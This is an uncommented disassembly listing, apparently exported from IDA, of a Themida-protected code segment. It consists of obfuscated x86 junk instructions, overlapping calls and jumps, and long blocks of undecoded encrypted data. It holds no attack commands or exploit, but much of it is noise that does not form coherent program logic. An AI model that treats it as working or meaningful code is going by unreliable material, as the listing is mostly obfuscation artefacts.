mov ax, dx
jz loc_5CC05B
call near ptr loc_5CC056+3
or ebp, [ebp+15h]
test ecx, eax
sbb al, 47h
loc_5CC056: ; CODE XREF: Themida_:005CC04Ap
and eax, 5AF524CDh
loc_5CC05B: ; CODE XREF: Themida_:005CC044j
pusha
movzx esi, bx
jmp loc_5CC077
; ---------------------------------------------------------------------------
dd 686D84C6h, 0C92AD151h, 22C31BC1h, 8C800146h
; ---------------------------------------------------------------------------
ror dh, 1
sti
loc_5CC077: ; CODE XREF: Themida_:005CC05Fj
popa
pusha
mov ebx, 5605095Fh
mov ecx, 6C86E750h
popa
pusha
js loc_5CC08E
movsx esi, di
loc_5CC08E: ; CODE XREF: Themida_:005CC085j
or cx, 70A6h
popa
ja loc_5CC09C
mov edi, ecx
loc_5CC09C: ; CODE XREF: Themida_:005CC094j
jmp loc_5CC0A8
; ---------------------------------------------------------------------------
loc_5CC0A1: ; CODE XREF: Themida_:005CC0F4j
popf
js short near ptr loc_5CC0C9+2
; ---------------------------------------------------------------------------
dd 8D7B58BDh
; ---------------------------------------------------------------------------
loc_5CC0A8: ; CODE XREF: Themida_:loc_5CC09Cj
jle loc_5CC0B5
push edx
add ax, 3CD0h
pop ecx
loc_5CC0B5: ; CODE XREF: Themida_:loc_5CC0A8j
jmp loc_5CC0C9
; ---------------------------------------------------------------------------
dw 0EC92h
dd 1F2C2221h, 0EBCEC0E2h, 0C7F0F627h
db 0E7h
; ---------------------------------------------------------------------------
loc_5CC0C9: ; CODE XREF: Themida_:loc_5CC0B5j
; Themida_:005CC0A2j
mov di, 0B789h
jz loc_5CC0DF
jno loc_5CC0DF
ja $+6
loc_5CC0DF: ; CODE XREF: Themida_:005CC0CDj
; Themida_:005CC0D3j
movzx edi, bx
movzx ecx, si
adc ebx, 0B89486Fh
cld
mov bh, 3Eh
call near ptr loc_5CC0FC+2
xchg eax, ecx
js short loc_5CC0A1
xor [ecx], ch
dec edx
in eax, 6Ch
push eax
loc_5CC0FC: ; CODE XREF: Themida_:005CC0EEp
mov edi, 52BF66B8h
pop eax
pop ecx
jmp loc_5CC110
; ---------------------------------------------------------------------------
inc edx
cmp al, dh
cwde
aad 0FCh
test al, 0A1h
loc_5CC110: ; CODE XREF: Themida_:005CC103j
jmp loc_5CC11A
; ---------------------------------------------------------------------------
db 94h, 4Dh, 6Ch
db 0F8h, 2Eh
; ---------------------------------------------------------------------------
loc_5CC11A: ; CODE XREF: Themida_:loc_5CC110j
pusha
push ebx
mov ebx, 7394ABF9h
pop edx
jmp loc_5CC13A
; ---------------------------------------------------------------------------
db 34h
dd 236542C4h, 0BB76DE8Ah, 0C8927E18h, 637D83D3h
; ---------------------------------------------------------------------------
sti
pushf
loc_5CC13A: ; CODE XREF: Themida_:005CC122j
popa
sub edx, 5253A1D3h
mov dx, bx
jle loc_5CC159
jmp loc_5CC159
; ---------------------------------------------------------------------------
db 9Ch
dd 0B17EA9ADh, 5DFE3F44h
db 44h
; ---------------------------------------------------------------------------
loc_5CC159: ; CODE XREF: Themida_:005CC144j
; Themida_:005CC14Aj
mov cx, 884Dh
movsx edx, dx
sub ecx, 3751582Dh
mov cx, 96DDh ; CODE XREF: Themida_:005CC1E5j
jmp loc_5CC174
; ---------------------------------------------------------------------------
mov eax, ds:7C6F0DF8h
loc_5CC174: ; CODE XREF: Themida_:005CC16Aj
sub eax, 78ACFC72h
call near ptr loc_5CC191+1
adc esi, ebx
sub [ebx], edi
db 64h
mov ebp, 72737C47h
pop ss
pop ebp
mov ds:2772E3B0h, eax
pop ss
loc_5CC191: ; CODE XREF: Themida_:005CC17Ap
mov eax, 0F1805AF5h
rcl dword ptr [ecx+66h], 8Bh
setalc
pop ebx
jmp loc_5CC1AF
; ---------------------------------------------------------------------------
pop esi
lds ebp, [ebx+ebx-1B182CF4h]
wait
retf 76FDh
; ---------------------------------------------------------------------------
db 18h, 73h
; ---------------------------------------------------------------------------
loc_5CC1AF: ; CODE XREF: Themida_:005CC19Cj
; Themida_:005CC229j
jmp loc_5CC1C5
; ---------------------------------------------------------------------------
dd 8F978D79h, 3DA0730Ah, 0B51C7619h, 1DF288FCh
; ---------------------------------------------------------------------------
aaa
loc_5CC1C5: ; CODE XREF: Themida_:loc_5CC1AFj
jo near ptr loc_5CC1D2+6
call near ptr loc_5CC1D2+5
out 1Dh, eax
loc_5CC1D2: ; CODE XREF: Themida_:005CC1CBp
; Themida_:loc_5CC1C5j
call far ptr 6658h:0D6033D12h
mov eax, 81665027h
neg byte ptr [ebx]
cmp eax, 0C142BBBEh
jo short near ptr loc_5CC166+2
not byte ptr ds:0F852B0A2h
jmp loc_5CC205
; ---------------------------------------------------------------------------
dw 0CE25h
dd 8EE952B6h, 167CBCDAh, 7E6E9606h, 61BA9128h
; ---------------------------------------------------------------------------
dec ecx
loc_5CC205: ; CODE XREF: Themida_:005CC1EDj
clc
mov bx, dx
mov ecx, 2D52CCEDh
movzx edx, cx
jb loc_5CC21C
mov ecx, 396C5E71h
loc_5CC21C: ; CODE XREF: Themida_:005CC211j
or bx, 0FECEh
sub al, 0C7h
call near ptr loc_5CC22C+4
loop near ptr loc_5CC1AF+1
pop edi
loc_5CC22C: ; CODE XREF: Themida_:005CC224p
cmp eax, 0E92A268Eh
or eax, [eax]
; ---------------------------------------------------------------------------
db 0
dd 43875B00h, 0F2905139h, 6B628975h, 0C281665Fh, 5853D7A7h
dd 52FE8B66h, 2860Fh, 0E78A0000h, 8F0F605Bh, 3, 81A3C980h
dd 81D7DCCFh, 0F18B6165h, 5DBA69B0h, 0E922A67Bh, 10h, 3F3AD4Eh
dd 0BDDD566Ch, 885F6A46h, 0F6ABC65Fh, 1EC821B8h, 0FB8BF540h
dd 9E9h, 4591AD00h, 4282AA23h, 0F520A43h, 38Dh, 0C68B6600h
dd 0D1B70F5Bh, 8BF96057h, 605A61C6h, 0CE9CA8Bh, 0EA000000h
dd 904EA4A5h, 6FE43BA9h, 6162982Dh, 0E856B2B7h, 9, 22C41443h
dd 607929F1h, 5A616018h, 0F1BF0F5Fh, 0CAC08160h, 0E80CE0D0h
dd 5, 68B3ABA9h, 0DEB70F67h, 0E880615Bh, 0CE9DEh, 1B670000h
dd 0ABBF3939h, 9AAFF3F9h, 0C2B6528Ch, 0B866D18Bh, 0D780E164h
dd 0F3AFBA84h, 0F78B26C9h, 0AE960h, 0DBB50000h, 1FB96EDh
dd 0BB82CDE3h, 6E9h, 1D041800h, 61AAE7E9h, 9EF08166h, 6660FC4Ah
dd 66821FBEh, 0C546E381h, 7E961h, 0DA250000h, 2FEC8021h
dd 0D981532Ch, 34E80DCh, 13E85Eh, 659F0000h, 0CB82BFEh
dd 0D1840DEh, 0FF2B530Fh, 1BFFC145h, 8F0F5B11h, 2, 81660FB7h
dd 0F4FA5F1h, 0E950CAB7h, 0Eh, 0AEF76359h, 0FFD2EE24h
dd 780BAA22h, 60596215h, 56C0BF0Fh, 8E0Fh, 615B0000h, 68B0Fh
dd 0E1810000h, 58B74DBFh, 8E8h, 28CC7F00h, 8D9FA65Fh, 0D8B0FEDh
dd 0E8000000h, 7, 0EB26410Dh, 5AF75F3Fh, 0F381665Eh, 0CE886A8h
dd 16000000h, 3E587A4Fh, 0CD72A17Ah, 6650C9BBh, 13F4CA81h
dd 14E859h, 36F00000h, 2548ED0Dh, 5FF0FE28h, 1BFAF7Eh
dd 41FE5BFFh, 0B9607431h, 290BF467h, 8E0Fh, 5B610000h
dd 870Fh, 8B660000h, 4840FCBh, 66000000h, 60903CBFh, 0CE9h
dd 6F81400h, 0AAA95190h, 52B746C0h, 24A7B820h, 53611573h
dd 0B25BE68Ah, 0FBAB00Eh, 882h, 0C8815100h, 78454A4Fh
dd 10E95Ah, 0BFBC0000h, 16BF8E74h, 7D54C957h, 7AFB315Eh
dd 0EE8B47Ch, 0C5000000h, 33086C3Dh, 84110C41h, 0D5002936h
dd 0E1816634h, 0F959F024h, 66D68B66h, 6606D5BEh, 0E8564DBEh
dd 5, 0B70972A5h, 59BB669Fh, 840F5B95h, 8, 25F78151h, 5A638E9Eh
dd 816653F8h, 58198FC6h, 5FAEB451h, 0D980C28Bh, 0E8C38A95h
dd 0Bh, 0FBC05537h, 75E56D1Bh, 58F05F62h, 13E8h, 5490E300h
dd 0CAD6A24Ah, 366CE3AAh, 0E5AF4421h, 0C70BA7BFh, 8A0F50h
dd 5E000000h, 0F78B358h, 1A80h, 12E800h, 76CC0000h, 8C05F869h
dd 33970127h, 8EC57046h, 1DC0A7BEh, 0E95B5856h, 9, 97597542h
dd 0C2F04BBBh, 4860F27h, 66000000h, 660C12BBh, 0FAB04B8h
dd 86h, 0F6C38100h, 0F7F0EB0h, 1880h, 0FE800h, 0BDBD0000h
dd 0BC82D4E6h, 6A1A0AC4h, 0F44BEF3Bh, 0BFD28005h, 0E381665Ah
dd 0C681286Fh, 0E504E5Ah, 94BA5160h, 5E67D702h, 617DC280h
dd 11E9F9h, 0BC060000h, 93ED9E8h, 0EAA7F8EBh, 0DCA87175h
dd 81255D79h, 3AB69BF0h, 0F38B6600h, 1723C381h, 0FFC69A9h
dd 888h, 28C0F00h, 60000000h, 2DBB6061h, 615FD573h, 0FD68B66h
dd 0B8Dh, 5890F00h, 0BF000000h, 4120730Bh, 7E9h, 77CB5100h
dd 9182D3D9h, 0A8BFB950h, 0E9581FFBh, 8, 8E6F2FC5h, 851BD380h
dd 1BC98057h, 800F605Bh, 4, 41C7BA66h, 61E9EE80h, 2687B866h
dd 0BE9h, 0FA26D00h, 7F69E73Eh, 0FBAB5162h, 0BBABE66h
dd 0E9DA8B66h, 14h, 19BFF7FAh, 6591CD40h, 2E28B5B0h, 0ED281AC0h
dd 676743B5h, 1BD68166h, 0D0816063h, 40A290E4h, 8B66F961h
dd 0D8BB66C1h, 138E0F44h, 0E9000000h, 0Eh, 0FAA4E1Eh, 0AA2D61B6h
dd 0F05199ECh, 51B8D5A8h, 8B30CB66h, 8461BEF8h, 0D5800B85h
dd 0F960609Fh, 30DABB66h, 61C28A61h, 8166E2B0h, 66094CD9h
dd 0A6ADF781h, 12E8h, 0F94A7500h, 0D28985BCh, 72482400h
dd 0BC92CA2Eh, 0E9B904F4h, 0Bh, 4B97E92Dh, 5DF7FBCh, 58672E19h
dd 731FE2B8h, 8B66F536h, 0E982B7DFh, 0Ch, 0B4D6C408h, 0AFF1100Fh
dd 8B22A6C8h, 0B752BE66h, 60EFD281h, 0BF0F09D2h, 14E8C3h
dd 0A7480000h, 8824407Ah, 73B6C16Ah, 6763C9ACh, 8BB8647h
dd 6660C3B8h, 509415B8h, 605A615Eh, 0D6FBBE66h, 9E8h, 0E25E7C00h
dd 0D9299189h, 0DCBE90CDh, 5A19D13Dh, 0BF0F6061h, 585653D3h
dd 0BF66615Fh, 0CA8076E0h, 79D6815Ch, 66357A97h, 66D5A8B9h
dd 26B8CF81h, 0F0808DB3h, 1820F34h, 0F5000000h, 0AE8h
dd 1B50A800h, 35B8EA60h, 80BF795Eh, 0FC5833F2h, 12E9h
dd 0C2B8200h, 9560EC43h, 7575B66Bh, 0A033B972h, 6635C4FDh
dd 8B66D18Bh, 0AFBF66C1h, 0C3BF0F69h, 8A38C780h, 0CEF380ECh
dd 13E95060h, 0DC000000h, 0DD1C1EA7h, 0DD0846FBh, 0D4123B4Fh
dd 0BC19D31Eh, 0F55A5425h, 13E95061h, 7D000000h, 0A67EC4F0h
dd 0CAB14C88h, 58DE942Bh, 491DA462h, 0F5988E1h, 283h, 0B6F18B00h
dd 0CABF0FFBh, 9E8h, 4B32C400h, 1E9D40C9h, 1CB998BAh, 581262FBh
dd 66FB8B66h, 4816C181h, 6BC3B8BEh, 29B8660Dh, 12E8F8h
dd 0B3A10000h, 55F49B7Eh, 5750146Fh, 0AB9B7353h, 0D7A5EF35h
dd 8B0F5BF5h, 4, 38C7B966h, 0AE67B866h, 0E8737DBAh, 0BE60F812h
dd 769817AAh, 0EC9B77BAh, 0F38B6179h, 54B953FCh, 5F45C9D5h
dd 0FF88B66h, 82h, 0CE8B6600h, 0B70FCB8Ah, 11E9FFh, 0AC1B0000h
dd 0EEBFD691h, 7007D0BBh, 7B356F1Ch, 51778B88h, 4006FCBAh
dd 0DB95900h, 804CDBDAh, 8DB7C3C8h, 10E9h, 0E11EF200h
dd 0E45EA57h, 5D065FC8h, 9415D25Ch, 0BE810h, 264D0000h
dd 28F1F6Fh, 0EEC8E727h, 0F525F6Eh, 0F5ECFB7h, 1385h, 0BE800h
dd 0AA050000h, 0DFBB4B74h, 4EFC1321h, 5A6160B8h, 66D3E780h
dd 0BB66C28Bh, 8B608C44h, 6661F5F1h, 7E9FB8Bh, 0A2000000h
dd 198926Eh, 8F0F82E2h, 0Ch, 5E8h, 0F970D00h, 5EF53CDDh
dd 22E08166h, 66F18A34h, 0BF0FDF8Bh, 6602B2C6h, 4A66EF81h
dd 5BF180F5h, 0C890Fh, 8B0F0000h, 6, 890Fh, 0B8560000h
dd 51395592h, 0BD3815Ah, 6675A3DDh, 0F9E232BBh, 0A76CB866h
dd 0CCFABA60h, 6661353Ch, 0FC3CCBEh, 58Fh, 898BA00h, 0F2813777h
dd 57921026h, 0BE960h, 0A6AB0000h, 0D8ECFB13h, 7AFFDAE3h
dd 80C28168h, 6172DCFCh, 12E9h, 94856900h, 7A1580C0h, 7137D2D6h
dd 7AEAEA7Ah, 66BBEAB5h, 6660D68Bh, 0C181C78Bh, 71D27ABBh
dd 0F7BF0F61h, 60C9BF0Fh, 14E9h, 0AF9BA700h, 86F5F6D2h
dd 3A5480F9h, 42FB1998h, 0CD35D1C2h, 13E8B4h, 95890000h
dd 840D57CAh, 23973122h, 0C287A43Ch, 31EC8224h, 0E2DE81B9h
dd 590275A2h, 0EE961h, 0C5CF0000h, 68417743h, 61C03B55h
dd 6C289397h, 0F8B8C480h, 0CF8B6EB3h, 0FDAB70Fh, 38Ch
dd 0F9B70F00h, 0FAF9B960h, 5E93F9Eh, 0A8000000h, 0DEF8FC05h
dd 8497B961h, 0EE93D07h, 17000000h, 0FD322EAAh, 0AF0472AEh
dd 878C6525h, 74F780BAh, 3820Fh, 0B70F0000h, 665251D3h
dd 5B58DE8Bh, 3C72ACBFh, 0CE9F821h, 7A000000h, 29133C00h
dd 0CC52EB1Bh, 8018272Dh, 60B71FEAh, 4BE18166h, 0E1B96669h
dd 0D16BBB78h, 8D0F33FDh
dd 2, 0EE9C68Bh, 0C6000000h, 88D4749Dh, 5D5B743Ah, 4FD093DFh
dd 1DB95694h, 5A3E930Ah, 0AE9h, 0C812C700h, 53E6F253h
dd 0F575C50h, 0C781C2BFh, 6D8D033Eh, 2870Fh, 45B40000h
dd 0F78B5260h, 0D38B665Bh, 0CA816661h, 890FC614h, 9, 38F0Fh
dd 8B660000h, 8E9C2h, 0B5D50000h, 0B4CA603Bh, 6653C5C3h
dd 7AB5EA81h, 3800F5Bh, 0F000000h, 0BF0FF8BFh, 0FCA8BC1h
dd 81FCDABFh, 0EB0E90E2h, 0CE97Ah, 596D0000h, 0FCD87FDFh
dd 8DD14A5Dh, 8E977FFh, 0D3000000h, 0CBB35CCCh, 0FBD9D59h
dd 28Ah, 663EB400h, 0BF0FC88Bh, 0CF8B66C9h, 13D009B9h
dd 0D6BF0F38h, 6FBE63B0h, 66512E62h, 6660C78Bh, 0FB352B8h
dd 1788h, 11E800h, 77A0000h, 0AA0AF49Ah, 0CFFAD7A3h, 56BFCE4Ch
dd 581BE83Eh, 80B8B161h, 8E0F56EDh, 7, 1890Fh, 0FFC0000h
dd 8Fh, 36BF6600h, 5860F7Ah, 60000000h, 61C28B66h, 0BF0FFB8Bh
dd 0B60BB8FFh, 0BA663FC0h, 5052DE34h, 81595FF8h, 3E2D3AC1h
dd 840F607Fh, 0
dd 12E8h, 1E472F00h, 495640BCh, 531E5494h, 0B5C15B48h
dd 66EF0B0Fh, 615FD08Bh, 28A0Fh, 57B40000h, 13E9h, 0C3F4D900h
dd 14C45685h, 5FF9BF17h, 0C6BE9F01h, 610904C4h, 6E9h, 0E932E200h
dd 0E838A6AEh, 0Bh, 6506B7AAh, 72B1646Fh, 0E8FBF5BDh, 5
dd 3497ACC1h, 8B5E5A8Fh, 6BEE81D7h, 0F1FC338h, 0D78BDBBFh
dd 8820Fh, 840F0000h, 2, 0F28B5E57h, 9E9h, 5F931C00h, 1C5958FBh
dd 850F55E6h, 10h, 0A8B0Fh, 5E90000h, 61000000h, 7D1792E7h
dd 80CEBF0Fh, 0BF0F38E4h, 8E9F6h, 49DF0000h, 6D289A93h
dd 0FCB2A5C4h, 7D74B966h, 58C0Fh, 81660000h, 8114D3E1h
dd 55FB2BE6h, 9E97Fh, 83980000h, 9D807870h, 0E8C9E7DEh
dd 10h, 0BE833E13h, 0A3A72742h, 52387302h, 0F8F2656Bh
dd 8E95BFCh, 0E2000000h, 0DD76680Ch, 0F6F599Dh, 830FF1BFh
dd 2, 0C880D88Bh, 66F98B04h, 568992B8h, 43CBE9BFh, 0BF0F5E47h
dd 0B96651CEh, 815FCFECh, 0D34094DEh, 0F1BF0F3Eh, 85BFEA8Ah
dd 0E97EF2B9h, 9, 0E52DAA34h, 0E915F935h, 6650F9AFh, 0F0ABDF81h
dd 0BF0F5658h, 81665FF1h, 0E87010D8h, 9, 0D2F207E2h, 7AF930DBh
dd 0F6059A2h, 28Ch, 66BCB700h, 0E961C28Bh, 0Eh, 95B64BC1h
dd 0CC2E1CE1h, 0F9591FA9h, 0BFF818E1h, 4E3C9Ah, 14E973B5h
dd 2C000000h, 0F7DC7EBAh, 477EC701h, 0A3F05227h, 0A5382C95h
dd 0E97A110Ah, 0Ch, 9E7E6C4Bh, 154457EBh, 1A8BAD16h, 0DE9h
dd 88826800h, 6E2EEE88h, 928774C6h, 816667F7h, 8B7BA4C7h
dd 0CE8CEh, 85580000h, 0AE9C601Dh, 9258AE83h, 850FBBD2h
dd 1, 5E85AF8h, 93000000h, 81F4E7E3h, 0E85EDE8Ah, 8, 396C1C7Fh
dd 0DC2C3934h, 0B8F0Fh, 6E90000h, 0D0000000h, 7628EDEDh
dd 0DE80589Dh, 0D3B70F24h, 45C510BEh, 9E94Eh, 0F4640000h
dd 58C43ECh, 0F4E88E8h, 8166D9B7h, 0FC570EEh, 0D681CEBFh
dd 45304757h, 0F08AF88Ah, 1A810Fh, 11E80000h, 0DC000000h
dd 0BFB08FBDh, 7A0B3CD8h, 0C0D249ECh, 120AACDEh, 59F38B66h
dd 0DEA8166h, 32B8662Ah, 1BB96695h, 0CABF0F8Ah, 0A1F1BA66h
dd 28E0F52h, 0B7000000h, 0DF805F46h, 8BDE8BB7h, 13E8D7h
dd 40FA0000h, 0C52FFBA4h, 7EAE71E3h, 0A3CE8868h, 310FBB9Bh
dd 38A0F5Ah, 66000000h, 0B15AD18Bh, 108E0F9Ah, 0E8000000h
dd 9, 8446C39h, 3270DD7Bh, 815BF55Fh, 4C0CFADEh, 0DE84Ch
dd 2E0000h, 5FD45960h, 18EFF2B2h, 0F765882h, 28Ah, 5F5A5300h
dd 14E9h, 4B6F9200h, 0E210CA74h, 0AF41D4BBh, 0BA9FDD58h
dd 1110EFh, 1DF7812Dh, 6027DB9Eh, 8CC4EDB8h, 12E96167h
dd 62000000h, 8BAEB4A7h, 7D79BC2Dh, 0F73D5ED1h, 4EB5558h
dd 0BE9C6h, 29570000h, 0E4F96257h, 0E735845h, 0C9BF0F8Eh
dd 0F4BBBE66h, 0D9E78152h, 5965D2D8h, 0CE9h, 58B79C00h
dd 3DCC4215h, 1EEEB8EDh, 60575785h, 0B25F5B61h, 0DC80F599h
dd 5E9C0h, 0BA3F0000h, 6014460Fh, 2800Fh, 61600000h, 61D38B66h
dd 8880Fh, 0F520000h, 8Bh, 13E95F00h, 9C000000h, 0CB612C8Ch
dd 535A6CE7h, 0F1160144h, 0C9C1A7F5h, 0F780972Eh, 11B8F8E7h
dd 661D13B2h, 0B9E3FCBEh, 15221FB0h, 0BF8E381h, 0B70F1B42h
dd 0E9D08BFEh, 9, 0A0AC1CBFh, 372C1A7Ch, 13E99Bh, 29E20000h
dd 0B1A62934h, 0E0D0DE1Ch, 383C77D8h, 9BC21CD5h, 0CE8B6638h
dd 0E9FE8B66h, 5, 9EFF1E48h, 85AAB93Ah, 8F0F1BEDh, 0Fh
dd 0AE9h, 0DDE31100h, 0A9AFD8A8h, 0E9B9DCE8h, 8, 0C4E4F2B9h
dd 0B66D5272h, 1FA5BA66h, 0CE8h, 0B8255800h, 9F43ED76h
dd 3EED1340h, 0DEB70F35h, 62E48058h, 0EE9h, 6A53A000h
dd 1A98357Ah, 9A5FECD0h, 0E94BB3DCh, 5, 0E027C57Bh, 5E9C9h
dd 0D8060000h, 661CCDADh, 4F73C081h, 66E0D780h, 80C87BBEh
dd 0DA8A73D8h, 0B850FF9h, 0F000000h, 588h, 0C7816600h
dd 0F2B88F39h, 66699569h, 0F40B4BAh, 0D80h, 8E900h, 0F01E0000h
dd 21C9CA3Fh, 8B668A55h, 1CB866F7h, 0AE91Dh, 552A0000h
dd 0B6DCAF45h, 0C9A0FF60h, 890FEF8Ah, 2, 0ED80F88Bh, 15D18113h
dd 8B653EF3h, 0AE8FBh, 0DBA10000h, 75D07939h, 4D47346Fh
dd 6E44BF66h, 8C0F58h, 8B000000h, 48B0FC6h, 66000000h
dd 0B44EBABBh, 22BB667Bh, 6820FD4h, 0F000000h, 84h, 58A0F00h
dd 66000000h, 6566F781h, 0B70FF28Bh, 0CFB4FCD9h, 7B6F88Bh
dd 0D4F380F8h, 0B9F78B66h, 1514EF5Ah, 60C0B70Fh, 68D0Fh
dd 880F0000h, 0
dd 61F88B66h, 0FE8D48Ah, 33000000h, 0E759251Bh, 41FCBC5Ah
dd 27F86B07h, 6659863Dh, 8BF7EBBAh, 0BE9CAh, 1E1A0000h
dd 41EF1119h, 0FE796F30h, 66C88BD7h, 0DE8DC181h, 64BB66F9h
dd 0D1816686h, 0DB80D750h, 118D0FBCh, 0F000000h, 0B8Fh
dd 6E900h, 764B0000h, 52051E6Eh, 91BBD18Bh, 66457DA1h
dd 800FD78Bh, 2, 0F85147B7h, 7E858h, 0A4F90000h, 478B3862h
dd 3810FAAh, 0F000000h, 8B59F2BFh, 0CA8B66F3h, 6E9h, 9BED5E00h
dd 80FF261Dh, 0CE817AD7h, 61BE72BEh, 0B866C18Bh, 7E9065Dh
dd 55000000h, 15F2701Dh, 0E9F544B4h, 0Ch, 0FC0FD0D3h, 3E6605AAh
dd 0D1D80F8h, 108B0Fh, 0BE90000h, 0C2000000h, 1114BEFDh
dd 4DAC65Ch, 0CE81A5D7h, 56B73BDAh, 666CD1BEh, 8A0F74h
dd 0B5000000h, 0E6BA6678h, 14E9F8C2h, 3B000000h, 370A1B02h
dd 63D14819h, 0B69423EFh, 9A1317C8h, 0F80BFA8h, 89h, 0BE800h
dd 2CC60000h, 325CBDC3h, 0DD0B1593h, 12E9C0h, 0A7B60000h
dd 8D2E1F48h, 0D3E94186h, 0EA2512D2h, 43A380Bh, 65E3815Bh
dd 0F41D5A1h, 38Fh, 0DBBF0F00h, 67B0D081h, 0B866663Dh
dd 5E9987Bh, 27000000h, 2BAAC285h, 81CF8B66h, 85D8D2E1h
dd 0C78B6673h, 18D0FFCh, 0F8000000h, 0B9B1CE8Bh, 0CD08166h
dd 0C08166F9h, 0E881BD0Eh, 504846CAh, 34D68166h, 36BE6674h
dd 0E181668Fh, 0E852060Bh, 0Eh, 5C0FFC0h, 0ACBB5A84h, 0DC187931h
dd 26B833C9h, 5E3C13CBh, 5800F59h, 66000000h, 0D81ED981h
dd 46C38057h, 0DE958h, 0C3FB0000h, 2034BA42h, 917644A2h
dd 6630AB78h, 0F4DEBBFh, 6650D9BFh, 0F5AC88Bh, 8152CBBFh
dd 38D6C3D8h, 9E95F04h, 0A8000000h, 0A16E23A9h, 91F6961Eh
dd 11E9h, 2BF8DF00h, 0C0B794E2h, 44B7788Dh, 347FAB75h
dd 0BF0F4757h, 0CE8C7h, 0DF340000h, 390CE9A0h, 938B8494h
dd 12E97ADCh, 7000000h, 0DBB4C2F7h, 38C5E242h, 49F3B3A4h
dd 44C0B86Fh, 8166591Ch, 0F54CB9E8h, 850F61B5h, 1, 0F5E781F8h
dd 6629DA4Eh, 0C381D68Bh, 5A802C0Dh, 8E8h, 4FCA3D00h, 9438156Eh
dd 0B796B9B5h, 8A5F66A7h, 66DF8BE6h, 5DECD681h, 0C60BBE66h
dd 3C0A51B9h, 11E830h, 8CEA0000h, 65564482h, 4A85DFFFh
dd 2607D6E9h, 0F965AC1h, 118Ch, 0CE900h, 68660000h, 843EDA00h
dd 3F282C25h, 0F5583AF2h, 0F814BF66h, 0DE9EDB1h, 66000000h
dd 3F512E1Bh, 0C3393525h, 0EC10F4B8h, 0BFD78B66h, 2993DAFh
dd 14E9h, 0AE376900h, 0E092C664h, 0AD1F1D8Ah, 279CA73Ah
dd 48CE9F91h, 0EF81664Ch, 0FC51C121h, 6BBA665Ah, 0E860FCDFh
dd 0Dh, 1D149AA7h, 1F2D54B9h, 0AA6880BDh, 43E18119h, 5931D249h
dd 80615856h, 8B0FBAC3h, 9, 38B0Fh, 0B70F0000h, 860FF6h
dd 53000000h, 5BA6E680h, 27F18166h, 0D5BE666Eh, 0BAC38B64h
dd 58B6D7CDh, 0F48AFCFCh, 30BF6660h, 61FA8BB8h, 5360BBB6h
dd 61F8605Eh, 0BABA6661h, 0FA8B665Ch, 0D98B6650h, 0AE95Fh
dd 0B7E00000h, 3D9EF83Ch, 86ADF3B7h, 0C18B52F9h, 28A0F5Eh
dd 8B000000h, 8E8DAh, 7DFF0000h, 2805707h, 816605E2h, 585B57C3h
dd 6810Fh, 0E3810000h, 2E0156A6h, 61DD8A60h, 0BACEBF0Fh
dd 7E7C0CD2h, 97DCD081h, 0DBB53C1h, 0F459AD5h, 381h, 0F78B6600h
dd 8166F38Ah, 8B7A38F1h, 7BEE81F8h, 812BB493h, 33098D0h
dd 2840F51h, 0B7000000h, 6E960h, 0C30000h, 0E99386EFh
dd 9E8h, 6E016C00h, 7225EAB7h, 0B70F8189h, 0E9F558C8h
dd 14h, 5B02FBD9h, 0B24F5E13h, 55CCFA82h, 2EBF1617h, 0B3012BEDh
dd 0F1B1F181h, 4EB169B9h, 8B661AB7h, 0C28B66DAh, 30B045BEh
dd 0BE8573Fh, 0C4000000h, 8A800FA4h, 18A81DBDh, 0CBB732E5h
dd 8B665B59h, 0DE9CFh, 0DF5C0000h, 0D4929218h, 0B8D7E19Eh
dd 607CD518h, 61C9BF0Fh, 66A8CA80h, 3301E981h, 1830Fh
dd 60FC0000h, 20F18151h, 5845469Ch, 4ADDF181h, 0F6132A3h
dd 282h, 8BF28B00h, 0D68152C8h, 7F09666Ch, 0FFBF605Eh
dd 0E9335995h, 12h, 83995E55h, 0D275D543h, 0DEBA0C54h
dd 7BA00166h, 66619875h, 0FB9CBBFh, 68Fh, 0B0C18100h, 661F72D8h
dd 8B3A0ABAh, 18870FC6h, 0E8000000h, 10h, 5DC9FE13h, 0ADBCE135h
dd 5F0422C9h, 22FECA22h, 6658C18Bh, 6E8D98Bh, 0D6000000h
dd 25D445Fh, 48BB66DDh, 8C0F5E84h, 0
; ---------------------------------------------------------------------------
mov esi, 2637C841h
cmc
jns loc_5CD58B
movzx ebx, bx
loc_5CD58B: ; CODE XREF: Themida_:005CD582j
mov edx, 18958D9Dh
pusha
mov bh, 0Ch
mov si, ax
popa
mov ebx, edi
jmp loc_5CD5A5
; ---------------------------------------------------------------------------
daa
inc edi
mov bl, 5Fh
jmp short loc_5CD5EB
; ---------------------------------------------------------------------------
loc_5CD5A5: ; CODE XREF: Themida_:005CD599j
mov ah, dh
and bl, 0F2h
jnb loc_5CD5B2
mov eax, ebx
loc_5CD5B2: ; CODE XREF: Themida_:005CD5AAj
movzx ebx, ax
call sub_5CD5C1
dec ecx
enter 0FFFF9EB0h, 0E5h
js short loc_5CD620
; =============== S U B R O U T I N E =======================================
sub_5CD5C1 proc near ; CODE XREF: Themida_:005CD5B5p
mov ebx, 765ED367h
pop edi
mov bx, 0CE2h
jmp loc_5CD5E3
; ---------------------------------------------------------------------------
dd 0D9AAA83Fh, 7CA81148h, 48C73BC2h, 0C531E0BFh
db 0F5h, 13h, 70h
; ---------------------------------------------------------------------------
loc_5CD5E3: ; CODE XREF: sub_5CD5C1+Aj
jmp loc_5CD5F0
; ---------------------------------------------------------------------------
db 0AAh, 0E2h, 1Dh
; ---------------------------------------------------------------------------
loc_5CD5EB: ; CODE XREF: Themida_:005CD5A3j
daa
; ---------------------------------------------------------------------------
dd 1354B788h
; ---------------------------------------------------------------------------
loc_5CD5F0: ; CODE XREF: sub_5CD5C1:loc_5CD5E3j
xor ax, 0D6D9h
jmp loc_5CD604
; ---------------------------------------------------------------------------
dw 0B2Eh
dd 6EE9F2DCh, 81DFDB8Fh
; ---------------------------------------------------------------------------
loc_5CD604: ; CODE XREF: sub_5CD5C1+34j
jmp loc_5CD615
; ---------------------------------------------------------------------------
db 5Eh, 0DBh, 0FCh
dd 304CD976h, 0A731D200h
db 0DDh
; ---------------------------------------------------------------------------
loc_5CD615: ; CODE XREF: sub_5CD5C1:loc_5CD604j
call near ptr loc_5CD620+1
push esp
sbb al, 13h
or [esi-70h], edx
loc_5CD620: ; CODE XREF: Themida_:005CD5BFj
; sub_5CD5C1:loc_5CD615p
shr ecx, 13h
sub_5CD5C1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0
dd 14EF0000h, 2E6E86D0h, 7E3EF4EEh, 33850E78h, 2ECA724Ch
dd 0BB665E12h, 0AE85C56h, 36000000h, 45BA7DD8h, 61641FDEh
